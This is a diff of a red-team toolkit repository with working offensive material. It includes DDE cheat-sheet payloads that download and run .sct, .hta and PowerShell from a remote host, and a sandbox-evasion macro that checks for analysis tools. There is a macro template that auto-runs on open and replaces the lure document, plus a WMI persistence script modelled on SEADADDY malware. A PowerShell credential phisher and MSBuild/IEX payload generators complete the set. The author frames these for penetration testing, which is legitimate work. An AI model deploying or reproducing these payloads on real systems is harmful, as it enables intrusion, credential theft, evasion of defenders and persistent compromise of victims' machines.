||||||
|
if File.directory?(infile)
|
||||||
|
require 'tempfile'
|
||||||
|
d = Tempfile.new('dir')
|
||||||
|
tmp = d.path.clone
|
||||||
|
d.close
|
||||||
|
d.unlink
|
||||||
|
puts %Q[Compressing specified directory '#{infile}'... ]
|
||||||
|
begin
|
||||||
|
tmp = compress(infile, tmp.clone)
|
||||||
|
compressed = true
|
||||||
|
rescue Exception => e
|
||||||
|
puts "[!] Couldn't compress input directory.: #{e}"
|
||||||
|
File.delete(tmp)
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
else
|
||||||
|
tmp = infile
|
||||||
|
end
|
||||||
|
|
||||||
|
if File.exists?(outfile)
|
||||||
|
STDOUT.write "File specified as output file already exists. Do you want to continue? [Y/n]: "
|
||||||
|
c = $stdin.gets.strip.downcase
|
||||||
|
unless ["y", "yes"].include?(c) or c.empty?
|
||||||
|
if compressed
|
||||||
|
File.delete(tmp)
|
||||||
|
end
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
print 'Enter your encryption key: '
|
||||||
|
pass = STDIN.noecho(&:gets).chomp
|
||||||
|
puts ""
|
||||||
|
|
||||||
|
begin
|
||||||
|
encrypt(tmp, outfile, cipher, mode == 'encrypt', pass)
|
||||||
|
|
||||||
|
if compressed
|
||||||
|
File.delete tmp
|
||||||
|
else
|
||||||
|
begin
|
||||||
|
# If decrypted file is a valid zip file - unzip it.
|
||||||
|
Zip::ZipFile.open(outfile).close
|
||||||
|
tmp = outfile + '.tmp'
|
||||||
|
File.rename outfile, tmp
|
||||||
|
decompress(tmp, outfile)
|
||||||
|
File.delete tmp
|
||||||
|
rescue
|
||||||
|
# Ups, not a ZIP file. Nothing to decompress..
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
rescue Exception => e
|
||||||
|
puts "[!] Operation failed: #{e}"
|
||||||
|
puts %Q|#{e.backtrace.join "\n\t"}|
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,86 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
#
|
||||||
|
# Simple XOR brute-force Key recovery script - given a cipher text, plain text and key length
|
||||||
|
# it searches for proper key that could decrypt cipher into text.
|
||||||
|
#
|
||||||
|
# Mariusz B., 2016
|
||||||
|
#
|
||||||
|
|
||||||
|
import sys
|
||||||
|
|
||||||
|
def xorstring(s, k):
|
||||||
|
out = [0 for c in range(len(s))]
|
||||||
|
key = []
|
||||||
|
if type(k) == type(int):
|
||||||
|
key = [k,]
|
||||||
|
else:
|
||||||
|
key = [ki for ki in k]
|
||||||
|
|
||||||
|
for i in range(len(key)):
|
||||||
|
for j in range(i, len(s), len(key)):
|
||||||
|
out[j] = chr(ord(s[j]) ^ key[i])
|
||||||
|
|
||||||
|
return ''.join(out)
|
||||||
|
|
||||||
|
|
||||||
|
def brute(input_xored, expected_output, key_len):
|
||||||
|
key = []
|
||||||
|
|
||||||
|
if len(input_xored) != len(expected_output):
|
||||||
|
print '[!] Input xored and expected output lengths not match!'
|
||||||
|
return False
|
||||||
|
|
||||||
|
for i in range(key_len):
|
||||||
|
cipher_letters = [ input_xored[x] for x in range(i, len(input_xored), key_len)]
|
||||||
|
plaintext_letters = [ expected_output[x] for x in range(i, len(input_xored), key_len)]
|
||||||
|
|
||||||
|
found = False
|
||||||
|
for k in range(256):
|
||||||
|
found = True
|
||||||
|
for j in range(key_len):
|
||||||
|
if chr(ord(cipher_letters[j]) ^ k) != plaintext_letters[j]:
|
||||||
|
found = False
|
||||||
|
break
|
||||||
|
|
||||||
|
if found:
|
||||||
|
key.append(k)
|
||||||
|
break
|
||||||
|
found = False
|
||||||
|
|
||||||
|
if not found:
|
||||||
|
print '[!] Could not found partial key value.'
|
||||||
|
break
|
||||||
|
|
||||||
|
return key, xorstring(input_xored, key) == expected_output
|
||||||
|
|
||||||
|
def main(argv):
|
||||||
|
if len(argv) < 4:
|
||||||
|
print 'Usage: %s <cipher> <plain> <key-len>'
|
||||||
|
return False
|
||||||
|
|
||||||
|
cipher = argv[1]
|
||||||
|
plain = argv[2]
|
||||||
|
keylen = int(argv[3])
|
||||||
|
|
||||||
|
if len(cipher) != len(plain):
|
||||||
|
print '[!] Cipher text and plain text must be of same length!'
|
||||||
|
return False
|
||||||
|
|
||||||
|
if len(cipher) % keylen != 0:
|
||||||
|
print '[!] Cipher text and plain text lengths must be divisble by keylen!'
|
||||||
|
return False
|
||||||
|
|
||||||
|
print "Cipher text:\t%s" % cipher
|
||||||
|
print "Plain text:\t%s" % plain
|
||||||
|
print "Key length:\t%d" % keylen
|
||||||
|
key, status = brute(cipher, plain, keylen)
|
||||||
|
|
||||||
|
if status:
|
||||||
|
print '[+] Key recovered!'
|
||||||
|
print '\tKey:\t\t\t', str(key)
|
||||||
|
print '\tDecrypted string:\t' + xorstring(cipher, key)
|
||||||
|
else:
|
||||||
|
print '[!] Key not found.'
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main(sys.argv)
|
|
@ -0,0 +1 @@
|
||||||
|
Invoke-Command 192.168.56.102 -Cred (New-Object -Type System.Management.Automation.PSCredential -ArgumentList "ieuser", $(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force)) {ipconfig}
|
|
@ -0,0 +1,28 @@
|
||||||
|
## Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet
|
||||||
|
|
||||||
|
- Using `regsvr32` _*.sct_ files technique:
|
||||||
|
```
|
||||||
|
DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data || regsvr32 /s /n /u /i:http://192.168.56.101/empire2.sct scrobj.dll"
|
||||||
|
```
|
||||||
|
|
||||||
|
- Using `HTA` files technique:
|
||||||
|
```
|
||||||
|
DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data || mshta http://192.168.56.101/poc.hta"
|
||||||
|
```
|
||||||
|
|
||||||
|
- Method from Empire - unfortunately unable to hide 'powershell.exe -NoP -sta -NonI' sequence
|
||||||
|
```
|
||||||
|
DDEAUTO C:\\Microsoft\\Programs\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://192.168.56.101/default.ps1');powershell -noP -sta -w 1 -enc $e "
|
||||||
|
```
|
||||||
|
|
||||||
|
- CactusTorch DDE can also generate files in **JS** and **VBS** formats.
|
||||||
|
They will utilize `cscript` as a file interpreter.
|
||||||
|
|
||||||
|
- Another option is to use scripts by _Dominic Spinosa_ found [here](https://github.com/0xdeadbeefJERKY/Office-DDE-Payloads)
|
||||||
|
|
||||||
|
- Another option is to stick with `Unicorn` by _Dave Kennedy_
|
||||||
|
|
||||||
|
|
||||||
|
## Sources
|
||||||
|
|
||||||
|
- https://medium.com/red-team/dde-payloads-16629f4a2fcd
|
|
@ -0,0 +1,139 @@
|
||||||
|
Private Declare PtrSafe Function isDbgPresent Lib "kernel32" Alias "IsDebuggerPresent" () As Boolean
|
||||||
|
|
||||||
|
Public Function IsFileNameNotAsHexes() As Boolean
|
||||||
|
Dim str As String
|
||||||
|
Dim hexes As Variant
|
||||||
|
Dim only_hexes As Boolean
|
||||||
|
|
||||||
|
only_hexes = True
|
||||||
|
hexes = Array("0", "1", "2", "3", "4", "5", "6", "7", _
|
||||||
|
"8", "9", "a", "b", "c", "d", "e", "f")
|
||||||
|
str = ActiveDocument.name
|
||||||
|
str = Mid(str, 1, InStrRev(str, ".") - 1)
|
||||||
|
|
||||||
|
For i = 1 To UBound(hexes, 1) - 1
|
||||||
|
Dim ch As String
|
||||||
|
ch = LCase(Mid(str, i, 1))
|
||||||
|
If Not (UBound(Filter(hexes, ch)) > -1) Then
|
||||||
|
' Character not in hexes array.
|
||||||
|
only_hexes = False
|
||||||
|
Exit For
|
||||||
|
End If
|
||||||
|
Next
|
||||||
|
|
||||||
|
only_hexes = (Not only_hexes)
|
||||||
|
IsFileNameNotAsHexes = only_hexes
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Public Function IsProcessListReliable() As Boolean
|
||||||
|
Dim objWMIService, objProcess, colProcess
|
||||||
|
Dim strComputer, strList
|
||||||
|
Dim bannedProcesses As Variant
|
||||||
|
|
||||||
|
bannedProcesses = Array("fiddler", "vxstream", _
|
||||||
|
"tcpview", "vmware", "procexp", "vmtools", "autoit", _
|
||||||
|
"wireshark", "procmon", "idaq", "autoruns", "apatedns", _
|
||||||
|
"windbg")
|
||||||
|
|
||||||
|
strComputer = "."
|
||||||
|
|
||||||
|
Set objWMIService = GetObject("winmgmts:" _
|
||||||
|
& "{impersonationLevel=impersonate}!\\" _
|
||||||
|
& strComputer & "\root\cimv2")
|
||||||
|
|
||||||
|
Set colProcess = objWMIService.ExecQuery _
|
||||||
|
("Select * from Win32_Process")
|
||||||
|
|
||||||
|
For Each objProcess In colProcess
|
||||||
|
For Each proc In bannedProcesses
|
||||||
|
If InStr(LCase(objProcess.name), LCase(proc)) <> 0 Then
|
||||||
|
' Found banned process.
|
||||||
|
IsProcessListReliable = False
|
||||||
|
Exit Function
|
||||||
|
End If
|
||||||
|
Next
|
||||||
|
Next
|
||||||
|
If isDbgPresent() Then
|
||||||
|
IsProcessListReliable = False
|
||||||
|
Exit Function
|
||||||
|
End If
|
||||||
|
IsProcessListReliable = (colProcess.Count() > 50)
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Public Function IsHardwareReliable() As Boolean
|
||||||
|
Dim objWMIService, objItem, colItems, strComputer
|
||||||
|
Dim totalSize, totalMemory, cpusNum As Integer
|
||||||
|
|
||||||
|
totalSize = 0
|
||||||
|
totalMemory = 0
|
||||||
|
cpusNum = 0
|
||||||
|
|
||||||
|
Const wbemFlagReturnImmediately = &H10
|
||||||
|
Const wbemFlagForwardOnly = &H20
|
||||||
|
|
||||||
|
strComputer = "."
|
||||||
|
|
||||||
|
' Checking total HDD size
|
||||||
|
Set objWMIService = GetObject _
|
||||||
|
("winmgmts:\\" & strComputer & "\root\cimv2")
|
||||||
|
Set colItems = objWMIService.ExecQuery _
|
||||||
|
("Select * from Win32_LogicalDisk")
|
||||||
|
|
||||||
|
For Each objItem In colItems
|
||||||
|
Dim num
|
||||||
|
num = Int(objItem.Size / 1073741824)
|
||||||
|
If num > 0 Then
|
||||||
|
totalSize = totalSize + num
|
||||||
|
End If
|
||||||
|
Next
|
||||||
|
|
||||||
|
If totalSize < 60 Then
|
||||||
|
' Total HDD size of the machine must be at least 60GB
|
||||||
|
IsHardwareReliable = False
|
||||||
|
Exit Function
|
||||||
|
End If
|
||||||
|
|
||||||
|
' Checking Memory
|
||||||
|
Set colComputer = objWMIService.ExecQuery _
|
||||||
|
("Select * from Win32_ComputerSystem")
|
||||||
|
|
||||||
|
For Each objComputer In colComputer
|
||||||
|
totalMemory = totalMemory + Int((objComputer.TotalPhysicalMemory) / 1048576) + 1
|
||||||
|
Next
|
||||||
|
|
||||||
|
If totalMemory < 1024 Then
|
||||||
|
' Total Memory is less than 1GB
|
||||||
|
IsHardwareReliable = False
|
||||||
|
Exit Function
|
||||||
|
End If
|
||||||
|
|
||||||
|
Set colItems2 = objWMIService.ExecQuery("SELECT * FROM Win32_Processor", "WQL", _
|
||||||
|
wbemFlagReturnImmediately + wbemFlagForwardOnly)
|
||||||
|
|
||||||
|
For Each objItem In colItems2
|
||||||
|
cpusNum = cpusNum + objItem.NumberOfLogicalProcessors
|
||||||
|
Next
|
||||||
|
|
||||||
|
If cpusNum < 2 Then
|
||||||
|
' Nowadays everyone has at least 2 logical cores.
|
||||||
|
IsHardwareReliable = False
|
||||||
|
Exit Function
|
||||||
|
End If
|
||||||
|
|
||||||
|
IsHardwareReliable = True
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Public Function IsRunningInSandbox() As Boolean
|
||||||
|
Dim test As Boolean
|
||||||
|
If IsFileNameNotAsHexes() <> True Then
|
||||||
|
IsRunningInSandbox = True
|
||||||
|
Exit Function
|
||||||
|
ElseIf IsProcessListReliable() <> True Then
|
||||||
|
IsRunningInSandbox = True
|
||||||
|
Exit Function
|
||||||
|
ElseIf IsHardwareReliable() <> True Then
|
||||||
|
IsRunningInSandbox = True
|
||||||
|
Exit Function
|
||||||
|
End If
|
||||||
|
IsRunningInSandbox = False
|
||||||
|
End Function
|
|
@ -0,0 +1,18 @@
|
||||||
|
<#
|
||||||
|
|
||||||
|
try {
|
||||||
|
(Get-Credential -Credential $null).GetNetworkCredential() |
|
||||||
|
Select-Object @{name="User"; expression = {
|
||||||
|
If ($_.Domain -ne [string]::Empty) {
|
||||||
|
"{0}\{1}" -f ($_.Domain), ($_.UserName)
|
||||||
|
} Else {
|
||||||
|
$_.UserName
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, Password | Format-List
|
||||||
|
} catch {
|
||||||
|
}
|
||||||
|
|
||||||
|
#>
|
||||||
|
|
||||||
|
try { ((Get-Credential -Credential $null).GetNetworkCredential() | Select-Object @{name="User"; expression={If ($_.Domain -ne [string]::Empty) {"{0}\{1}" -f ($_.Domain), ($_.UserName)} Else { $_.UserName} }}, Password | Format-List) } catch { }
|
|
@ -0,0 +1,142 @@
|
||||||
|
## Red Teaming and Social-Engineering related scripts, tools and CheatSheets
|
||||||
|
|
||||||
|
|
||||||
|
- **`Macro-Less-Cheatsheet.md`** - Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet ([gist](https://gist.github.com/mgeeky/981213b4c73093706fc2446deaa5f0c5))
|
||||||
|
|
||||||
|
|
||||||
|
- **`generateMSBuildPowershellXML.py`** - Powershell via MSBuild inline-task XML payload generation script - To be used during Red-Team assignments to launch Powershell payloads without using `powershell.exe` ([gist](https://gist.github.com/mgeeky/df9f313cfe468e56c59268b958319bcb))
|
||||||
|
|
||||||
|
Example output **not minimized**:
|
||||||
|
|
||||||
|
```
|
||||||
|
C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py Show-Msgbox.ps1
|
||||||
|
|
||||||
|
:: Powershell via MSBuild inline-task XML payload generation script
|
||||||
|
To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe'
|
||||||
|
Mariusz B. / mgeeky, <mb@binary-offensive.com>
|
||||||
|
|
||||||
|
[?] File not recognized as PE/EXE.
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------
|
||||||
|
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
|
||||||
|
<!-- Based on Casey Smith work, Twitter: @subTee -->
|
||||||
|
<!-- Automatically generated using `generateMSBuildPowershellXML.py` utility -->
|
||||||
|
<!-- by Mariusz B. / mgeeky <mb@binary-offensive.com> -->
|
||||||
|
|
||||||
|
<Target Name="btLDoraXcZV">
|
||||||
|
<hwiJYmWvD />
|
||||||
|
</Target>
|
||||||
|
<UsingTask TaskName="hwiJYmWvD" TaskFactory="CodeTaskFactory"
|
||||||
|
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v 4.0.dll" >
|
||||||
|
<Task>
|
||||||
|
<Reference Include="System.Management.Automation" />
|
||||||
|
<Code Type="Class" Language="cs">
|
||||||
|
<![CDATA[
|
||||||
|
using System.Management.Automation;
|
||||||
|
using System.Management.Automation.Runspaces;
|
||||||
|
using Microsoft.Build.Framework;
|
||||||
|
using Microsoft.Build.Utilities;
|
||||||
|
|
||||||
|
public class hwiJYmWvD : Task {
|
||||||
|
public override bool Execute() {
|
||||||
|
|
||||||
|
byte[] payload = System.Convert.FromBase64String("JHMgPSBOZXctT2JqZ WN0IElPLk1lbW9yeVN0cmVhbSgsIFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygn SDRzSUFJOUxjbG9DLzN1L2UzOTBjR1Z4U1dxdVhsQnFXazVxY2tsbWZwNmVZM0Z4YW0 1U1RtV3NsWlZQZm1KS2VHWkpSa0JpVVVsbVlvNWZZbTZxaGhKVVIzaG1Ya3ArZWJHZV czNVJickdTcGtLTmduOXBpYTVmYVU2T05TOVhORFpGZXI2cHhjV0o2YWxPK1JWQXM0T Xo4c3MxMUQxTEZNcnppN0tMRmRVMXJRRk9mWFlmandBQUFBPT0nKSk7IElFWCAoTmV3 LU9iamVjdCBJTy5TdHJlYW1SZWFkZXIoTmV3LU9iamVjdCBJTy5Db21wcmVzc2lvbi5 HemlwU3RyZWFtKCRzLCBbSU8uQ29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb 2RlXTo6RGVjb21wcmVzcykpKS5SZWFkVG9FbmQoKTs=");
|
||||||
|
string decoded = System.Text.Encoding.UTF8.GetString(payload);
|
||||||
|
|
||||||
|
Runspace runspace = RunspaceFactory.CreateRunspace();
|
||||||
|
runspace.Open();
|
||||||
|
|
||||||
|
Pipeline pipeline = runspace.CreatePipeline();
|
||||||
|
pipeline.Commands.AddScript(decoded);
|
||||||
|
pipeline.Invoke();
|
||||||
|
|
||||||
|
runspace.Close();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]]>
|
||||||
|
</Code>
|
||||||
|
</Task>
|
||||||
|
</UsingTask>
|
||||||
|
</Project>
|
||||||
|
------------------------------------------------------------------------------------
|
||||||
|
```
|
||||||
|
|
||||||
|
**minimized**
|
||||||
|
|
||||||
|
```
|
||||||
|
C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py Show-Msgbox.ps1 -m
|
||||||
|
|
||||||
|
:: Powershell via MSBuild inline-task XML payload generation script
|
||||||
|
To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe'
|
||||||
|
Mariusz B. / mgeeky, <mb@binary-offensive.com>
|
||||||
|
|
||||||
|
[?] File not recognized as PE/EXE.
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------
|
||||||
|
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"><Target Name="mYOYInAFWE"><DpaYaokgauWBJbe />
|
||||||
|
</Target><UsingTask TaskName="DpaYaokgauWBJbe" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Ne
|
||||||
|
t\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll"><Task><Reference Include="System.Management.Automation" /><
|
||||||
|
Code Type="Class" Language="cs"><![CDATA[using System.Management.Automation;using System.Management.Automation.Run
|
||||||
|
spaces;using Microsoft.Build.Framework;using Microsoft.Build.Utilities;public class DpaYaokgauWBJbe:Task{public ov
|
||||||
|
erride bool Execute(){byte[] x=System.Convert.FromBase64String("JHMgPSBOZXctT2JqZWN0IElPLk1lbW9yeVN0cmVhbSgsIFtDb25
|
||||||
|
2ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnSDRzSUFMQkxjbG9DLzN1L2UzOTBjR1Z4U1dxdVhsQnFXazVxY2tsbW ZwNmVZM0Z4YW01U1RtV3NsWlZQZ
|
||||||
|
m1KS2VHWkpSa0JpVVVsbVlvNWZZbTZxaGhKVVIzaG1Ya3ArZWJHZVczNVJickdTcGtLTmduOXBpYTVmYVU2T05T OVhORFpGZXI2cHhjV0o2YWxPK1J
|
||||||
|
WQXM0TXo4c3MxMUQxTEZNcnppN0tMRmRVMXJRRk9mWFlmandBQUFBPT0nKSk7IElFWCAoTmV3LU9iamVjdCBJTy 5TdHJlYW1SZWFkZXIoTmV3LU9ia
|
||||||
|
mVjdCBJTy5Db21wcmVzc2lvbi5HemlwU3RyZWFtKCRzLCBbSU8uQ29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb2Rl XTo6RGVjb21wcmVzcykpKS5SZWF
|
||||||
|
kVG9FbmQoKTs=");string d=System.Text.Encoding.UTF8.GetString(x);Runspace r=RunspaceFactory.CreateRunspace();r.Open
|
||||||
|
();Pipeline p=r.CreatePipeline();p.Commands.AddScript(d);p.Invoke();r.Close();return true;}}]]></Code></Task></Usi
|
||||||
|
ngTask></Project>
|
||||||
|
------------------------------------------------------------------------------------
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
- **`msbuild-powershell-msgbox.xml`** - Example of Powershell execution via MSBuild inline task XML file. On a simple Message-Box script.
|
||||||
|
([gist](https://gist.github.com/mgeeky/617c54a23f0c4e99e6f475e6af070810))
|
||||||
|
|
||||||
|
|
||||||
|
- **`compressedPowershell.py`** - Creates a Powershell snippet containing GZIP-Compressed payload that will get decompressed and executed (IEX)
|
||||||
|
. ([gist](https://gist.github.com/mgeeky/e30ceecc2082a11b99c7b24b42bd77fc))
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
```
|
||||||
|
$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('H4sIAMkfcloC/3u/e390cGVxSWquXlBqWk5qcklmfp6eY3Fxam5STmWslZVPfmJKeGZJRkBiUUlmYo5fYm6qhhJUR3hmXkp+ebGeW35RbrGSpkKNgn9pia5faU6ONS9XNDZFer6pxcWJ6alO+RVAs4Mz8ss11D1LFMrzi7KLFdU1rQFOfXYfjwAAAA=='));
|
||||||
|
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
- **`muti-stage-1.md`** - Multi-Stage Penetration-Testing / Red Teaming Malicious Word document creation process. ([gist](https://gist.github.com/mgeeky/6097ea56e0f541aa7d98161e2aa76dfb))
|
||||||
|
|
||||||
|
- **`macro-psh-stdin-author.vbs`** - VBS Social Engineering Macro with Powershell invocation taking arguments from Author property and feeding them to StdIn. ([gist](https://gist.github.com/mgeeky/50c4b7fa22d930a80247fea62755fbd3))
|
||||||
|
|
||||||
|
- **`Invoke-Command-Cred-Example.ps1`** - Example of using PSRemoting with credentials passed directly from command line. ([gist](https://gist.github.com/mgeeky/de4ecf952ddce774d241b85cfbf97faf))
|
||||||
|
|
||||||
|
- **`Phish-Creds.ps1`** - Powershell oneline Credentials Phisher - to be used in malicious Word Macros/VBA/HTA or other RCE commands on seized machine. ([gist](https://gist.github.com/mgeeky/a404d7f23c85954650d686bb3f02abaf))
|
||||||
|
|
||||||
|
One can additionally add, right after `Get-Credential` following parameters that could improve pretext's quality during social engineering attempt:
|
||||||
|
- `-Credential domain\username` - when we know our victim's domain and/or username - we can supply this info to the dialog
|
||||||
|
- `-Message "Some luring sentence"` - to include some luring message
|
||||||
|
|
||||||
|
|
||||||
|
- **`vba-windows-persistence.vbs`** - VBA Script implementing two windows persistence methods - via WMI EventFilter object and via simple Registry Run. ([gist](https://gist.github.com/mgeeky/07ffbd9dbb64c80afe05fb45a0f66f81))
|
||||||
|
|
||||||
|
- **`set-handler.rc`** - Quickly set metasploit's multi-handler + web_delivery (separated) handler for use with powershell. ([gist](https://gist.github.com/mgeeky/bf4d732aa6e602ca9b77d089fd3ea7c9))
|
||||||
|
|
||||||
|
- **`delete-warning-div-macro.vbs`** - VBA Macro function to be used as a Social Engineering trick removing "Enable Content" warning message as the topmost floating text box with given name. ([gist](https://gist.github.com/mgeeky/9cb6acdec31c8a70cc037c84c77a359c))
|
||||||
|
|
||||||
|
- **`vba-macro-mac-persistence.vbs`** - (WIP) Working on VBA-based MacPersistance functionality for MS Office for Mac Macros. ([gist](https://gist.github.com/mgeeky/dd184e7f50dfab5ac97b4855f23952bc))
|
||||||
|
|
||||||
|
- **`WMIPersistence.vbs`** - Visual Basic Script implementing WMI Persistence method (as implemented in SEADADDY malware and further documented by Matt Graeber) to make the Macro code schedule malware startup after roughly 3 minutes since system gets up. ([gist](https://gist.github.com/mgeeky/d00ba855d2af73fd8d7446df0f64c25a))
|
||||||
|
|
||||||
|
- **`MacroDetectSandbox.vbs`** - Visual Basic script responsible for detecting Sandbox environments, as presented in modern Trojan Droppers implemented in Macros. ([gist](https://gist.github.com/mgeeky/61e4dfe305ab719e9874ca442779a91d))
|
||||||
|
|
||||||
|
- **`Various-Macro-Based-RCEs.md`** - Various Visual Basic Macros-based Remote Code Execution techniques to get your meterpreter invoked on the infected machine. ([gist](https://gist.github.com/mgeeky/61e4dfe305ab719e9874ca442779a91d))
|
||||||
|
|
||||||
|
- **`SubstitutePageMacro.vbs`** - This is a template for the Malicious Macros that would like to substitute primary contents of the document (like luring/fake warnings to "Enable Content") and replace document's contents with what is inside of an AutoText named `RealDoc` (configured via variable `autoTextTemplateName` ). ([gist](https://gist.github.com/mgeeky/3c705560c5041ab20c62f41e917616e6))
|
||||||
|
|
||||||
|
- **`warnings\EN-Word.docx`** and **`warnings\EN-Excel.docx`** - Set of ready-to-use Microsoft Office Word shapes that can be pasted / inserted into malicious documents for enticing user into clicking "Enable Editing" and "Enable Content" buttons.
|
||||||
|
|
||||||
|
- **`backdoor-drop.js`** - Internet Explorer - JavaScript trojan/backdoor dropper template, to be used during Penetration Testing assessments. ([gist](https://gist.github.com/mgeeky/b0aed7c1e510560db50f96604b150dac))
|
||||||
|
|
|
@ -0,0 +1,74 @@
|
||||||
|
Public alreadyLaunched As Integer
|
||||||
|
|
||||||
|
|
||||||
|
Private Sub Malware()
|
||||||
|
'
|
||||||
|
' ============================================
|
||||||
|
'
|
||||||
|
' Enter here your malware code here.
|
||||||
|
' It will be started on auto open surely.
|
||||||
|
'
|
||||||
|
' ============================================
|
||||||
|
|
||||||
|
MsgBox ("Here comes the malware!")
|
||||||
|
|
||||||
|
' ============================================
|
||||||
|
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
|
||||||
|
Private Sub Launch()
|
||||||
|
If alreadyLaunched = True Then
|
||||||
|
Exit Sub
|
||||||
|
End If
|
||||||
|
Malware
|
||||||
|
SubstitutePage
|
||||||
|
alreadyLaunched = True
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Private Sub SubstitutePage()
|
||||||
|
'
|
||||||
|
' This routine will take the entire Document's contents,
|
||||||
|
' delete them and insert in their place contents defined in
|
||||||
|
' INSERT -> Quick Parts -> AutoText -> named as in `autoTextTemplateName`
|
||||||
|
'
|
||||||
|
Dim doc As Word.Document
|
||||||
|
Dim firstPageRange As Range
|
||||||
|
Dim rng As Range
|
||||||
|
Dim autoTextTemplateName As String
|
||||||
|
|
||||||
|
' This is the name of the defined AutoText prepared in the document,
|
||||||
|
' to be inserted in place of previous contents.
|
||||||
|
autoTextTemplateName = "RealDoc"
|
||||||
|
|
||||||
|
Set firstPageRange = Word.ActiveDocument.Range
|
||||||
|
firstPageRange.Select
|
||||||
|
Selection.WholeStory
|
||||||
|
Selection.Delete Unit:=wdCharacter, Count:=1
|
||||||
|
|
||||||
|
Set doc = ActiveDocument
|
||||||
|
Set rng = doc.Sections(1).Range
|
||||||
|
doc.AttachedTemplate.AutoTextEntries(autoTextTemplateName).Insert rng, True
|
||||||
|
doc.Save
|
||||||
|
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Sub AutoOpen()
|
||||||
|
' Becomes launched as first on MS Word
|
||||||
|
Launch
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Sub Document_Open()
|
||||||
|
' Becomes launched as second, another try, on MS Word
|
||||||
|
Launch
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Sub Auto_Open()
|
||||||
|
' Becomes launched as first on MS Excel
|
||||||
|
Launch
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Sub Workbook_Open()
|
||||||
|
' Becomes launched as second, another try, on MS Excel
|
||||||
|
Launch
|
||||||
|
End Sub
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,77 @@
|
||||||
|
'
|
||||||
|
' SYNOPSIS:
|
||||||
|
' WMI Persistence method as originally presented by SEADADDY malware
|
||||||
|
' (https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887)
|
||||||
|
' and further documented by Matt Graeber.
|
||||||
|
'
|
||||||
|
' The scheduled command will be launched after roughly 3 minutes since system
|
||||||
|
' gets up. Also, even if the command shall spawn a window - it will not be visible,
|
||||||
|
' since the command will get invoked by WmiPrvSE.exe that's running in Session 0.
|
||||||
|
'
|
||||||
|
' USAGE:
|
||||||
|
' WMIPersistence("command to be launched", "taskName")
|
||||||
|
'
|
||||||
|
' EXAMPLE:
|
||||||
|
' WMIPersistence("powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQ[...]EUAWAA=", "WindowsUpdater")
|
||||||
|
'
|
||||||
|
' AUTHOR:
|
||||||
|
' Mariusz B. / mgeeky, '17
|
||||||
|
'
|
||||||
|
|
||||||
|
Public Function WMIPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
|
||||||
|
Dim filterName, consumerName As String
|
||||||
|
Dim objLocator, objService1
|
||||||
|
Dim objInstances1, objInstances2, objInstances3
|
||||||
|
Dim newObj1, newObj2, newObj3
|
||||||
|
|
||||||
|
On Error GoTo Failed
|
||||||
|
|
||||||
|
filterName = taskName & "Event"
|
||||||
|
consumerName = taskName & "Consumer"
|
||||||
|
|
||||||
|
Set objLocator = CreateObject("WbemScripting.SWbemLocator")
|
||||||
|
Set objService1 = objLocator.ConnectServer(".", "root\subscription")
|
||||||
|
|
||||||
|
'
|
||||||
|
' Step 1: Set WMI Instance of type Event Filter
|
||||||
|
'
|
||||||
|
Set objInstances1 = objService1.Get("__EventFilter")
|
||||||
|
|
||||||
|
' The malware originally will kicks in after roughly 3 minutes since System gets up.
|
||||||
|
' One can modify this delay time by modifying the WHERE clausule of the below query.
|
||||||
|
query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " _
|
||||||
|
& "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " _
|
||||||
|
